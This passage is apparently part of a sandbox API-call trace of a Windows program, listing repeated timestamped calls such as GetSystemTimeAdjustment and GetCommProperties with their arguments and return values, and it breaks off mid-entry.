lpSelectorEntry=0x18feb8) returned 1 [0117.340] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.340] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.340] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.340] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.340] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.340] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.340] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.340] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.340] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.340] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.340] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.341] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.341] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.341] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.341] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.341] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.341] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.341] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.341] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.341] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.341] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.341] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.341] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.342] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.343] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.344] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.345] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.346] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.347] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: 